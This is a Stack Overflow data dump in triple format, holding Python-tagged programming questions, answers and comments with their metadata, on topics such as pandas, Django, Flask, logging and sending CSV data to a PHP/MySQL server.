tagged with: python
accepted answer: http://stackoverflow.com/a/47343242
has comment: http://stackoverflow.com/comment/81638031
has comment: http://stackoverflow.com/comment/81638263

http://stackoverflow.com/q/47265651
has answer: http://stackoverflow.com/a/47265743
accepted answer: http://stackoverflow.com/a/47265743
answer count: 1
downvote count: 1
tagged with: mysql
favorite count: 0
type: Question
has body: I have a Virtual Machine/Web Server with MySQL up and running, and want to receive the data from client hardware that is saved in a .csv file, how can i do a python script to send it? i was recommended requests library from Python to send it and receive it through PHP POST. Problem is ive NEVER used PHP and HTML and so im a bit stuck with the interaction between the 2. Thanks a lot! sample code is: import csv import requests session = requests.Session() with open('r01a2.csv','rb') as f: reader = csv.reader(f) for row in reader: r = session.post('MyURL', data = {'date: row[0],'value': row[1]}) print r.text Code on Server side is: &lt;?php $formato = "INSERT INTO `datos_pruebas`.`Datos_Edison` (`id`, `date`, `pulse`) VALUES (NULL, '%s', '%f')"; $sql=sprintf($formato,$date,$pulse); $enlace = mysql_connect('localhost','root','clinichub'); $resultado = mysql_query($sql,$enlace); $id=NULL; if(!empty($_POST)) { echo htmlspecialchars($_POST["date"]); } else { echo "gg"; } EDIT2: It finally worked after solutions gave by community and feedback, thanks a lot for your recommendations!
has comment: http://stackoverflow.com/comment/81482693
has title: MySQL DB, send a multiple data through Python-PHP to the server
has comment: http://stackoverflow.com/comment/81482096
tagged with: python
tagged with: php
type: AnsweredQuestion
score: 0
upvote count: 1

http://stackoverflow.com/q/47245446
score: 1
tagged with: python
has answer: http://stackoverflow.com/a/70072464
type: Question
answer count: 2
has answer: http://stackoverflow.com/a/47255634
type: UnansweredQuestion
downvote count: 0
upvote count: 1
has body: I want to increase a variable by 1 OR run a function that does that every time something is logged to log - lognum in my case. lognum = 1 logger = logging.getLogger('module') logger.setLevel(logging.DEBUG) handler = logging.FileHandler(filename='log', encoding='utf-8', mode='w') handler.setFormatter(logging.Formatter(f'----CHUNK {lognum}----\nLEVEL: %(levelname)s\nNAME:%(name)s\nMESSAGE:%(message)s\n----CHUNK {lognum}----\n')) logger.addHandler(handler) I can't add the code after the setFormatter- it just sets the formatter. I've read the docs for logging, can't find anything.
tagged with: logging
favorite count: 0
has title: Run function after logging using the logging module in python

http://stackoverflow.com/comment/81462162
comment on: http://stackoverflow.com/a/47255637
type: Comment
score: 0
type: AnswerComment
has text: @JAG2024 Stay classy.

http://stackoverflow.com/comment/81464603
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/47256794
has text: Thanks man you fixed it! One more problem though... when I enter something like 12345 that would trigger the "Unrecognized bit" statement, "Unrecognized bit" prints out about a bazillion times when I run the program for some reason. Do you know why this could be? Should I add a break in there somewhere?
score: 0

http://stackoverflow.com/comment/81440322
type: AnswerComment
comment on: http://stackoverflow.com/a/47244783
type: Comment
has text: for some reason when I use your second implementation I keep getting the following error: 'function' object has no attribute 'mean' Any ideas ?
score: 0

http://stackoverflow.com/q/47255745
score: 1
tagged with: python
has answer: http://stackoverflow.com/a/48249021
type: Question
tagged with: spectrum
upvote count: 1
type: UnansweredQuestion
downvote count: 0
answer count: 1
has body: I've got a set of 780 monthly temperature anomalies over 65 years and I want to analyse it for frequencies that are driving the anomalies. I've used the spectrum package to do this, I've included pictures of the series before and after the analysis. from spectrum import * p = Periodogram(anomalies, sampling=1/12) p.run() plt.title('Power Spectrum of Monthly Temperature Anomalies') p.plot(marker='.') plt.show() The resulting spectrum has several clear negative spikes. Now I understand that a negative value in Db isn't actually a negative absolute value, but why is this happening? Does it imply there's some specific frequency missing from my data? Because a positive spike implies one is present. Also, why are most of the frequencies displayed negative? What is the reference value for Db to be an amplification of? A part of me thinks I should be taking the absolute value of this spectrum but I'd like to understand why if that's the case. Also I put in the value for sampling as 1/12 because the data points are monthly so hopefully the frequency scale is in per year? Many thanks, this is my first post here so let me know if I need to be clearer about anything. Negative Energies The Series being Analysed
favorite count: 0
tagged with: fft
has title: Negative power spectrum

http://stackoverflow.com/q/47361570
type: AnsweredQuestion
score: 3
has answer: http://stackoverflow.com/a/48042782
accepted answer: http://stackoverflow.com/a/47420745
answer count: 2
has comment: http://stackoverflow.com/comment/81750022
has answer: http://stackoverflow.com/a/47420745
upvote count: 3
downvote count: 0
favorite count: 0
possible better answer: http://stackoverflow.com/a/48042782
type: Question
tagged with: dask
has title: Dask: subset (or drop) rows from Dataframe by index
tagged with: python
has body: I'd like to take a subset of rows of a Dask dataframe based on a set of index keys. (Specifically, I want to find rows of ddf1 whose index is not in the index of ddf2.) Both cache.drop([overlap_list]) and diff = cache[should_keep_bool_array] either throw a NotImplementedException or otherwise don't work. What is the best way to do this?

http://stackoverflow.com/comment/81676372
type: QuestionComment
has text: I noticed including time.sleep(1) solved the problem! Is there a better way to do it though?
comment on: http://stackoverflow.com/q/47354573
score: 0
type: Comment

http://stackoverflow.com/a/47360497
has body: See https://keras.io/getting-started/faq/ How can I obtain the output of an intermediate layer? You'll need to name the layer you want the output from by adding a 'name' argument to your definition. Like.. model.add(Dense(xx, name='my_dense')) You can then define an intermediate model and run it by doing something like... m2 = Model(inputs=model.input, outputs=model.get_layer('my_dense').output) Y = m2.predict(X)
has comment: http://stackoverflow.com/comment/81674240
answers question: http://stackoverflow.com/q/47360148
score: 1
upvote count: 1
downvote count: 0
type: Answer

http://stackoverflow.com/q/47321543
type: Question
tagged with: linux
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81594059
tagged with: scripting
tagged with: python
has comment: http://stackoverflow.com/comment/81594092
answer count: 2
score: 0
has answer: http://stackoverflow.com/a/47321603
has answer: http://stackoverflow.com/a/47322081
has body: I am writing a script in python that replaces specific lines in files Linux. Say i have a file called hi in the /home directory that contains: hi 873840 Here is my script: #! /usr/bin/env python import re fp = open("/home/hi","w") re.sub(r"hi+", "hi 90", fp) My desired outcome is: hi 90 however, when i run it i get this error and the hi file ends up being balnk: Traceback (most recent call last): File "./script.py", line 6, in &lt;module&gt; re.sub(r"hi+", "hi 90", fp) File "/usr/lib/python2.7/re.py", line 155, in sub return _compile(pattern, flags).sub(repl, string, count) TypeError: expected string or buffer Is there something wrong with my syntax? Thanks
has title: Python re.sub specific syntax
linked to: http://stackoverflow.com/q/35688126

http://stackoverflow.com/a/47235646
has body: Whether source IP filtering is an adequate measure for you depends on your exact scenario, your threat model. @JohnZwinck is right in that it usually is not enough by itself, but for some applications, it can be. While it is easy to fake source IP in individual IP packets, http goes over tcp, and a modern implementation of tcp is protected against address spoofing. Older implementations of TCP (in older operating systems) are vulnerable though. So if your server has a recent OS, it is not at all straightforward to spoof a source IP. It's probably easier to compromise a client with an address in the allowed list. Another thing that can go wrong is related to network address translation (nat). Suppose you restrict access in your application to internal IP addresses (192.168.0.0/24). All works well, but your security department decides there need to be reverse proxies for all web applications. A proxy is deployed and all works fine. However, now your application receives all requests from the proxy wuth an internal address, so the restriction in the application doesn't make much sense anymore. Something simlar can also happen with clients, in some scenarios, clients may be behind nat, meaning they will all have the same apparent client IP address - which can be good or bad. The best practice is of course to have proper authentication (via passwords, client certificates, or multi-factor, etc., however secure you want it to be), with IP restriction being an additional layer to provide more security.
score: 0
has comment: http://stackoverflow.com/comment/81567773
answers question: http://stackoverflow.com/q/47233706
type: Answer

http://stackoverflow.com/q/47248774
tagged with: python
has title: How to get name of tag from id in Django
score: 0
answer count: 1
has body: I take list of medicines in "rlist" rlist = [] #dName = disease name and r = resulted disease rlist.append(Disease.objects.filter(dName = r).values_list('medicine',flat=True)) By running this statements, I have ids of taggable manager "medicine" rlist = [&lt;QuerySet [7]&gt;, &lt;QuerySet [27, 28, 29, 30]&gt;] But, I want name of medicines instead of id. How can I get that??? models.py class TaggedMedicine(TaggedItemBase): content_object = models.ForeignKey("Disease") def __str__(self): return self.name class Disease(models.Model): did = models.AutoField(verbose_name='Disease Id', primary_key=True,auto_created=True) dName = models.CharField(max_length=100,unique=True) symptoms = TaggableManager(verbose_name='symptoms list', through=TaggedSymptoms) #tags with comma or space separated values symptoms.rel.related_name = "+" medicine = TaggableManager(verbose_name='medicine list',through=TaggedMedicine) medicine.rel.related_name = "+"
type: Question
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/47249011
tagged with: django

http://stackoverflow.com/comment/87767515
type: QuestionComment
score: 0
has text: Hi @HenryHub I did find a solution here: [link](https://stackoverflow.com/questions/7142342/get-window-position-size-with-python)
comment on: http://stackoverflow.com/q/47295716
type: Comment

http://stackoverflow.com/a/47385742
upvote count: 1
score: 1
answers question: http://stackoverflow.com/q/47369459
has body: Counting hops I put the data into a string called hop. And then I counted the hop (100=1) as I think I understood. hop = """100 200 101 201 200 300""" hop = hop.split("\n") hcnt = 0 for h in hop: o, d = int(h.split()[0]), int(h. split()[1]) dist = ((d - o) / 100) hcnt += dist print("hops:", hcnt) output hops: 3.0
type: Answer
downvote count: 0

http://stackoverflow.com/a/47275326
accepted answer of: http://stackoverflow.com/q/47275300
upvote count: 3
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/81691149
has comment: http://stackoverflow.com/comment/81502017
has comment: http://stackoverflow.com/comment/81757951
has body: The line in your example is a list comprehension. Basically, the one line is constructing a list and calculating its members. To do the same thing, you have to add an initializer and return: result = [] for x in seqs[0]: for p in cart_product_1(*seqs[1:]): result.append([x]+p) return result
has comment: http://stackoverflow.com/comment/81507590
has comment: http://stackoverflow.com/comment/81712910
answers question: http://stackoverflow.com/q/47275300
score: 3
has comment: http://stackoverflow.com/comment/81693598
has comment: http://stackoverflow.com/comment/81583576
type: Answer
has comment: http://stackoverflow.com/comment/81719511

http://stackoverflow.com/q/47224560
downvote count: 0
upvote count: 1
has answer: http://stackoverflow.com/a/47248669
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81400147
has title: Print 2d list with equal character spacing python
tagged with: python
score: 1
has comment: http://stackoverflow.com/comment/81400300
favorite count: 0
tagged with: nested-lists
type: Question
has answer: http://stackoverflow.com/a/47247684
has body: Im making a chess game where the board is represented by a 2d array. However the chess pieces is a different width than spaces, so they get displaced when i try to print it like this: ♖ ♘ ♗ ♕ ♔ ♗ ♘ ♖ ♙ ♙ ♙ ♙ ♙ ♙ ♙ ♙ ♟ ♟ ♟ ♟ ♟ ♟ ♟ ♟ ♜ ♞ ♝ ♛ ♚ ♝ ♞ ♜ Here is the print function: def print_board(): y = ["♖", "♜", "♗", "♝", "♘", "♞", "♕", "♛", "♔","♚", "♙", "♟"," "] for i in range(8): tempListe = "".join(board[i]) z=0 for x in ["T","t","L","l","H","h","D","d","K","k","P","p","_"]: if x in tempListe: tempListe = tempListe.replace(x,y[z]) z+=1 for j in range(8): print("{0:2}".format(tempListe[j]),end="") print("") print_board() I've tried many different things, but everything seems to end up the same. How can i fix this without the spaces between pieces becoming too large?
answer count: 2

http://stackoverflow.com/comment/81551085
has text: Yes, current code is scraping all img tags, you can use any selector to scrape anything from given page
type: Comment
comment on: http://stackoverflow.com/a/47289618
score: 0
type: AnswerComment

http://stackoverflow.com/q/47340057
has title: selecting specific part of array
has answer: http://stackoverflow.com/a/47340135
possible better answer: http://stackoverflow.com/a/47340135
type: AnsweredQuestion
score: 0
answer count: 3
tagged with: python
has answer: http://stackoverflow.com/a/47340123
has body: Lets say I have an array a = [[[1, 2], [3, 4]], [[5, 6], [7, 8]], [[9, 10], [11, 12]], [[13, 14], [15, 16]], [[17, 18], [19, 20]]] At the end I would like an array b = [[[5, 6]],[[9, 10]]] I thought that b = a[1:3][0:1] would work. But from that i get b=[[[5, 6], [7, 8]]]
has comment: http://stackoverflow.com/comment/81632598
type: Question
has comment: http://stackoverflow.com/comment/81633196
has comment: http://stackoverflow.com/comment/81633100
has answer: http://stackoverflow.com/a/47340331
has comment: http://stackoverflow.com/comment/81633418
linked to: http://stackoverflow.com/q/6473679
tagged with: arrays
has comment: http://stackoverflow.com/comment/81632702
accepted answer: http://stackoverflow.com/a/47340123
has comment: http://stackoverflow.com/comment/81633173

glibc
tags question: http://stackoverflow.com/q/47266305
tag name: glibc
tags question: http://stackoverflow.com/q/47328169
type: Tag

http://stackoverflow.com/a/47260629
has body: If you follow the docs You should return HttpResponseNotFound which is the same as HttpResonse except for status code. It worked for me. def bad_request(request): response = render_to_response( 'errors/404.html' ) return HttpResponseNotFound(response.content)
answers question: http://stackoverflow.com/q/47259433
type: Answer
score: 0

http://stackoverflow.com/comment/81712082
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/47379917
has text: You need to include the path to the directory when attempting to open the file in it.

http://stackoverflow.com/comment/81695789
score: 0
has text: @zeeks I have added the code to the question. See the edit I added.
type: Comment
comment on: http://stackoverflow.com/q/47371216
type: QuestionComment

http://stackoverflow.com/q/47270697
score: 1
answer count: 1
downvote count: 0
upvote count: 1
has body: I have a table as below. msno date num_25 num_50 num_75 num_985 num_100 num_unq 1 PNxIsSLWOJDCm7pNPFzRO/6Mmg2WeZA2nf6hw6t1x3g= 20151201 3 3 2 0 8 11 2 PNxIsSLWOJDCm7pNPFzRO/6Mmg2WeZA2nf6hw6t1x3g= 20160628 0 0 1 1 1 3 3 PNxIsSLWOJDCm7pNPFzRO/6Mmg2WeZA2nf6hw6t1x3g= 20170106 2 1 0 0 35 34 4 KXF9c/T66LZIzFq+xS64icWMhDQE6miCZAtdXRjZHX8= 20150803 0 0 0 0 16 11 5 KXF9c/T66LZIzFq+xS64icWMhDQE6miCZAtdXRjZHX8= 20160527 4 3 0 2 2 11 6 KXF9c/T66LZIzFq+xS64icWMhDQE6miCZAtdXRjZHX8= 20160808 14 3 4 1 15 31 I wish to group them up by summing up the num_(25 until unq) and then determine the earliest date and latest date occur in the identical msno. df = df_user_logs_v2.drop('date', axis=1).groupby('msno', as_index=False).sum() The code above can sum up all the values but the date have to be dropped. I wish to retain the min and max of the date, along with number of row count. Expected Output for the first msno: msno num_25_sum num_50_sum num_75_sum num_985_sum num_100_sum num_unq_sum date_earliest date_latest count 1 PNxIsSLWOJDCm7pNPFzRO/6Mmg2WeZA2nf6hw6t1x3g= 5 4 3 1 44 48 20151201 20170106 3
has title: Group by sum and find min max of date from the group
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/47271327
accepted answer: http://stackoverflow.com/a/47271327
tagged with: dataframe
tagged with: python
type: AnsweredQuestion
tagged with: pandas

http://stackoverflow.com/comment/81480836
comment on: http://stackoverflow.com/q/47264754
score: 0
has text: @MohideenibnMohammed Sir, I need receiver & re-order receiver as well as messages updates
type: Comment
type: QuestionComment

http://stackoverflow.com/a/47312140
answers question: http://stackoverflow.com/q/47311782
score: 2
upvote count: 2
downvote count: 0
has body: When you append a to the res array, you are appending a pointer to the a variable. Not the 'value' of the a variable. So when you are done, the res array has the 'value' - [a, a, a]. When you shallow copy, you are copying the 'value' of the a variable at that stage of the loop into the res array, giving you a 'value' of - [[0],[0,1],[0,1,2]].
type: Answer

http://stackoverflow.com/comment/82526582
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47355194
has text: Possible duplicate of [How can I make a multipart/form-data POST request using Java?](https://stackoverflow.com/questions/1378920/how-can-i-make-a-multipart-form-data-post-request-using-java)
score: 0

http://stackoverflow.com/q/47354835
has body: I'm trying to reformat a CSV to turn each month column into a separate row per record (essentially rotating it), i.e.,: Into: To do this, I thought the best way would be to: loop through each row, loop through for each month column (Jan-17, Feb-17, etc...), then duplicate the row. Then insert the month and totals into Date and Totals columns. Then remove that record that was duplicated and start where the index left off (I.e., after 5 record loops for each date, the index to start on would be 5). Then when all rows are duplicated, remove, the month columns (Jan-17, Feb-17, etc...) It does it for the first data row (i.e., brand1), but after the first outer loop completes, it breaks with: the label [5] is not in the [index] df['date'] = '' df['totals'] = 0 months = ['Jan-17', 'Feb-17', 'Mar-17', 'Apr-17', 'May-17'] dropRowIndex = 0 nextDuplicateRowStartIndex = 0 totalRows = df.shape[0] for i in range(0, totalRows): print('--------------') print(df) for col in df: if col in months: # Insert a row above 0th index with 0th row's values # Duplicate the row at this index for each month # Then move on to the next "row", which would be the latest index count df.loc[nextDuplicateRowStartIndex-1] = df.loc[nextDuplicateRowStartIndex].values df.loc[nextDuplicateRowStartIndex-1, 'date'] = col df.loc[nextDuplicateRowStartIndex-1, 'totals'] = df.loc[nextDuplicateRowStartIndex-1][col] df.index = df.index + 1 df = df.sort_index() dropRowIndex += 1 # Drop duplicated row by index df.drop(dropRowIndex, inplace=True) nextDuplicateRowStartIndex = dropRowIndex # Remove months columns for col in df: if col in months: df = df.drop(col, 1) Terminal output: -------------- INITIAL DATA FRAME: brand Jan-17 Feb-17 Mar-17 Apr-17 May-17 date totals 0 brand1 222 333 444 555 666 0 1 brand2 7777 8888 9999 1010 1111 0 2 brand3 12121 13131 14141 15151 16161 0 -------------- DATA FRAME AFTER FIRST OUTER LOOP (ROW) ITERATION: brand Jan-17 Feb-17 Mar-17 Apr-17 May-17 date totals 0 brand1 222 333 444 555 66…
has answer: http://stackoverflow.com/a/47355121
answer count: 2
has title: "the label [5] is not in the [index]" while duplicating rows
downvote count: 0
upvote count: 1
favorite count: 0
type: Question
accepted answer: http://stackoverflow.com/a/47355051
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/47355051
tagged with: pandas
score: 1
tagged with: python
possible better answer: http://stackoverflow.com/a/47355121

http://stackoverflow.com/q/47358380
has comment: http://stackoverflow.com/comment/81669769
has body: I am new to Python. My recent project is to get the odd information from a website. Here is the URL: http://bet.hkjc.com/default.aspx?url=football/odds/odds_allodds.aspx&amp;lang=EN&amp;tmatchid=120998 I am using Python and BeautifulSoup to process, i cant see any odd data when get the html by soup.prettify() The result from above code i got is only logical code, variable and function. i think the page have some protection to the data what should i do to get the odd information from the protected web page?
type: UnansweredQuestion
tagged with: beautifulsoup
tagged with: http://stackoverflow.com/tag/html
tagged with: javascript
tagged with: python
has title: Python BeautifulSoup scraping web page that has protection
tagged with: parsing
type: Question
has answer: http://stackoverflow.com/a/47358475
score: 0
has answer: http://stackoverflow.com/a/47360115
answer count: 2

http://stackoverflow.com/a/47294895
score: 0
has body: First to answer your question: under your else condition for a wrong password (under print('Please enter a valid password')), you have a non-indented validuser = False. So what happens is that the validuser = True that you set a bit earlier when the password was good is replaced instantly by a validuser = False. Simply indenting that line to put it within your else condition fixes your code :) Now, talking optimisation/best practice... In your code you are using both an infinite loop conditional on a variable which is an iterative approach, and a call to your function within your function which is a recursive approach, which is not in my opinion a really good choice... Or at least not for the same level of the loop! If you wanted to go fully iterative, then you would simply need to replace your Login() towards the end by usernameLog = input('Please enter your username: ') Or, if you want to have both a recursive call and an iterative loop, you could loop only over the password: def Login(): f = open('login.txt','r') username = f.readline().strip() password = f.readline().strip() usernameLog = input('Please enter your username: ') if usernameLog == username: print('Username accepted') time.sleep(1) validpassword = False while validpassword == False: userpassLog = input('Please enter a password: ') if userpassLog == password: print('Successfully logged in') time.sleep(0.5) Options() validpassword = True else: print('Please enter a valid password') validpassword = False else: print('Invalid username please re-enter it.') Login() f.close() To be honest, re-opening the same file every time you enter a wrong username seems a bit of a waste of time, so I'd recommend using the iterative-only version if that's good with your assignment...
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/47293723
answers question: http://stackoverflow.com/q/47293723
type: Answer

http://stackoverflow.com/comment/81684155
comment on: http://stackoverflow.com/q/47365676
type: QuestionComment
type: Comment
score: 0
has text: @roganjosh it return a Line2D object `Line2D(_line0)`

http://stackoverflow.com/q/47381835
downvote count: 0
accepted answer: http://stackoverflow.com/a/47426734
tagged with: scipy
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/47382461
score: 3
tagged with: python
has title: scipy.minimize -- get cost function vs iteration?
possible better answer: http://stackoverflow.com/a/47382461
has answer: http://stackoverflow.com/a/47426734
tagged with: optimization
type: AnsweredQuestion
answer count: 2
has body: Is there any way to access the cost function on a per-iteration basis with scipy.minimize without using the callback and re-executing the cost function? options.disp seems to be intended to do this, but only causes the optimizer to print the termination message. It would be fine to print it to stdout and use contextlib.redirect_stdout with io.StringIO to gather it and parse through the data after, but I can't find a way to efficiently access the cost function on each iteration.
upvote count: 3

http://stackoverflow.com/comment/81584082
score: 0
type: AnswerComment
has text: Thanks! Follow up question: I'd also like to do a sum aggregation on another column, also grouped by Name and Attended. Is there a way to do both in one go? I.e. if I had a column called "Points", and I also wanted to sum up the points for each person -> for each Y and for each N.
type: Comment
comment on: http://stackoverflow.com/a/47316463

http://stackoverflow.com/comment/81415006
type: QuestionComment
comment on: http://stackoverflow.com/q/47231852
has text: See https://en.wikipedia.org/wiki/Uniform_distribution_(continuous) and https://en.wikipedia.org/wiki/Discrete_uniform_distribution
score: 0
type: Comment

http://stackoverflow.com/comment/81580190
score: 0
type: Comment
type: QuestionComment
has text: Fix your indention, right now `ChooseLanguage` is empty.
comment on: http://stackoverflow.com/q/47313695

http://stackoverflow.com/comment/81447345
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47248596
score: 0
has text: Can you post the complete stack trace? It would be good to see with which of the migrations it actually breaks.

http://stackoverflow.com/q/47298146
score: 6
linked to: http://stackoverflow.com/q/33402163
tagged with: python
tagged with: flask
has body: Instead of using send_static_file, I want to use something like html(' content '), sort of like jsonify. @app.route('/incorrect_pass') def incorrect_pass(): return html('Incorrect password. Go back?') Is what I want to do.
has answer: http://stackoverflow.com/a/47298224
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/47298224
answer count: 2
upvote count: 7
downvote count: 1
favorite count: 0
type: Question
duplicate of: http://stackoverflow.com/q/33402163
has answer: http://stackoverflow.com/a/47298218
accepted answer: http://stackoverflow.com/a/47298218
has comment: http://stackoverflow.com/comment/81547919
has title: I want to return html in a flask route

http://stackoverflow.com/a/47233814
type: Answer
has body: Use cur.commit() to commit the changes to the database. Also, you should close your database using cur.close() once you're finished.
score: 0
answers question: http://stackoverflow.com/q/47233366

http://stackoverflow.com/a/47246261
answers question: http://stackoverflow.com/q/47246234
upvote count: 6
type: Answer
score: 6
has body: min(results, key=lambda x:min(x['score'], x['alt_score'])) Lambdas can have pretty much any expression in them, including an internal call to min() to get whichever is smaller for the item, score or alt_score.
downvote count: 0
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/47246234

http://stackoverflow.com/q/47319915
has answer: http://stackoverflow.com/a/47320204
has comment: http://stackoverflow.com/comment/81591020
favorite count: 0
has body: I've been using django migration to handle database. recently, I split session into two, one is for reading and the other one is for writing. After done this, I made new migration file that adding new table and run it. It was successful, Operations to perform: Apply all migrations: food Running migrations: Applying food.0107_auto_20171116_0849... OK However, when I checked mysql database using shell, there was no new table. I deleted django migrations history and attempted few times more but the result was same. It says migration applied but there was no new table. This is my migration file # -*- coding: utf-8 -*- # Generated by Django 1.11.2 on 2017-11-16 08:49 from __future__ import unicode_literals from django.db import migrations, models import uuid class Migration(migrations.Migration): dependencies = [ ('bubi', '0106_auto_20171110_1452'), ] operations = [ migrations.CreateModel( name='FoodHistory', fields=[ ('id', models.UUIDField(default=uuid.uuid4, primary_key=True, serialize=False)), ('date', models.DateField(verbose_name='updated date')), ], options={ 'verbose_name': 'food updated date', 'verbose_name_plural': 'food updated date', }, ), ] I wonder if splited session may affects to do migrations. thanks! EDIT I added my local_settings.py DATABASES = { 'default': { 'ENGINE': 'django.db.backends.mysql', 'NAME': 'food', 'HOST': '127.0.0.1', 'USER': 'apple', 'PASSWORD': 'apple' }, 'read': { 'ENGINE': 'django.db.backends.mysql', 'NAME': 'food', 'HOST': '127.0.0.1', 'USER': 'apple', 'PASSWORD': 'apple' }, 'write': { 'ENGINE': 'django.db.backends.mysql', 'NAME': 'food', 'HOST': '127.0.0.1', 'USER': 'apple', 'PASSWORD': 'apple' } }
has comment: http://stackoverflow.com/comment/81591238
type: Question
answer count: 2
downvote count: 0
has comment: http://stackoverflow.com/comment/81591223
tagged with: django
has comment: http://stackoverflow.com/comment/81591151
tagged with: python
has comment: http://stackoverflow.com/comment/81591286
has title: Django : migration success but not creating new table
possible better answer: http://stackoverflow.com/a/47320071
has answer: http://stackoverflow.com/a/47320071
type: AnsweredQuestion
upvote count: 3
accepted answer: http://stackoverflow.com/a/47320204
score: 3
tagged with: mysql

http://stackoverflow.com/comment/81626225
type: QuestionComment
comment on: http://stackoverflow.com/q/47336766
score: 0
type: Comment
has text: I have worked many times with plotly and I know how to do it but what I do not want is to reconstruct your project and in the end not being able to reproduce your error, please provide the dataframa with appropriate fictitious data.

http://stackoverflow.com/q/47382607
has comment: http://stackoverflow.com/comment/81718047
has title: Operations on multiple Dataframes in Python
has answer: http://stackoverflow.com/a/47382638
type: AnsweredQuestion
upvote count: 3
downvote count: 0
tagged with: pandas
has comment: http://stackoverflow.com/comment/81718146
answer count: 1
has body: Data frames are provided: a = pd.DataFrame({'A':[1, 2]}) b = pd.DataFrame({'B':[2, 3]}) C = pd.DataFrame({'C':[4, 5]}) and list d = [A, C, B, B] How to write an mathematical operations (((A + C) * B) - B) on frame values to create a new data frame? The result is, for example, a frame in the form: e = pd.DataFrame({'E':[8, 18]})
has comment: http://stackoverflow.com/comment/81718266
has comment: http://stackoverflow.com/comment/81718075
favorite count: 0
type: Question
accepted answer: http://stackoverflow.com/a/47382638
score: 3
tagged with: dataframe
tagged with: python

http://stackoverflow.com/q/47269251
has comment: http://stackoverflow.com/comment/81489424
has body: I am attempting to filter out only the text in the body of the email message using Python. I need to get that "Needed Content" part of the mail. Here's a string that I get when receiving a mail: '--001a1144b8cc8e9a67055ddfb9ec Content-Type: text/plain; charset="UTF-8" Needed Content --001a1144b8cc8e9a67055ddfb9ec Content-Type: text/html; charset="UTF-8" Off --001a1144b8cc8e9a67055ddfb9ec-- ' I have tried something like that but failed: re.findall(r'/\r/\n(.+?)/\r/\n', body) To filter out between the line breaks but failed.. Thanks in advance!
type: Question
has comment: http://stackoverflow.com/comment/81489777
tagged with: python
possible better answer: http://stackoverflow.com/a/47270593
tagged with: regex
has answer: http://stackoverflow.com/a/47270593
accepted answer: http://stackoverflow.com/a/47269550
has title: Filtering a string from email body with Python
type: AnsweredQuestion
score: 0
has answer: http://stackoverflow.com/a/47269550
answer count: 2
tagged with: email

http://stackoverflow.com/comment/93121398
type: Comment
type: QuestionComment
has text: i am facing similar issue. Were you able to get a quantized model or atleast a model quantized just for inference part ?
comment on: http://stackoverflow.com/q/47229096
score: 1

http://stackoverflow.com/a/47233694
upvote count: 4
type: Answer
score: 4
has body: This line raises the above mentioned exception arr = list(50) list expects an iterable object (something that has a __iter__() method). You are passing an int instead. To create a list of size 50 you can use the * operator on a list: arr = [None] * 50 This will create a list with all 50 elements set to None. A more pythonic way to solve your problem is to pass the range object directly to the list constructor like: def odd_count(n): return list(range(1,n+1, 2)) print(odd_count(50))
downvote count: 0
answers question: http://stackoverflow.com/q/47233663

http://stackoverflow.com/comment/81470603
score: 0
type: Comment
has text: No, since I am using python 3.6. But if I write python3 in the terminal and import xlwings it works, as I stated in my question.
type: AnswerComment
comment on: http://stackoverflow.com/a/47247828

http://stackoverflow.com/q/47267685
tagged with: python
tagged with: flask
has comment: http://stackoverflow.com/comment/81487230
has comment: http://stackoverflow.com/comment/81487763
has comment: http://stackoverflow.com/comment/81486977
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/47269337
answer count: 2
has title: Cannot login in flask - always asking username&password
score: 1
linked to: http://stackoverflow.com/q/27630122
has comment: http://stackoverflow.com/comment/81487595
has comment: http://stackoverflow.com/comment/81490781
downvote count: 0
has body: I watched a tutorial (https://www.youtube.com/watch?v=VW8qJxy4XcQ) and I saw how easy to login to a webpage in flask. I tried it several times, but when I enter the correct username and password (the saving box comes up for a moment to remember my datas) the little box with the edit texts disappears and it asks them again. What am I doing wrong? Thanks from flask import Flask, render_template, request, make_response import os app = Flask(__name__) @app.route('/pass') def index(): if request.authorization and request.authorization.username == 'a' and request.authorization.password == 'a': return 'logged in' #return render_template("index2.html") else: return make_response('Could not verify!', 401, {'WWW-Authenticate' : 'Basic realm=Login required'}) if __name__ == "__main__": app.run(debug=True) virtualhost: &lt;VirtualHost *:80&gt; ServerName 39.234.23.12 ServerAdmin youemail@email.com WSGIScriptAlias / /var/www/FlaskApp/flaskapp.wsgi &lt;Directory /var/www/FlaskApp/FlaskApp/&gt; Order allow,deny Allow from all &lt;/Directory&gt; Alias /static /var/www/FlaskApp/FlaskApp/static &lt;Directory /var/www/FlaskApp/FlaskApp/static/&gt; Order allow,deny Allow from all &lt;/Directory&gt; ErrorLog ${APACHE_LOG_DIR}/error.log LogLevel warn CustomLog ${APACHE_LOG_DIR}/access.log combined &lt;/VirtualHost&gt; That didn't work, either despite of doing it locally, not on the google cloud virtual instance: import os from flask import Flask, render_template, request app = Flask(__name__) APP_ROOT = os.path.dirname(os.path.abspath(__file__)) @app.route("/") def index(): if request.authorization and request.authorization.username == 'a' and request.authorization.password == 'a': return "success" return "nope"
upvote count: 1
has comment: http://stackoverflow.com/comment/81487079
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/81488199
accepted answer: http://stackoverflow.com/a/47270000
has comment: http://stackoverflow.com/comment/81488212
has comment: http://stackoverflow.com/comment/81486816
has answer: http://stackoverflow.com/a/47269337
has answer: http://stackoverflow.com/a/47270000

http://stackoverflow.com/q/47357213
type: Question
has comment: http://stackoverflow.com/comment/81667308
has comment: http://stackoverflow.com/comment/81667105
has comment: http://stackoverflow.com/comment/81667780
tagged with: split
has comment: http://stackoverflow.com/comment/81667043
accepted answer: http://stackoverflow.com/a/47357816
has comment: http://stackoverflow.com/comment/81667222
has comment: http://stackoverflow.com/comment/81667109
tagged with: python
has comment: http://stackoverflow.com/comment/81667072
has answer: http://stackoverflow.com/a/47357816
has comment: http://stackoverflow.com/comment/81667535
type: AnsweredQuestion
score: 0
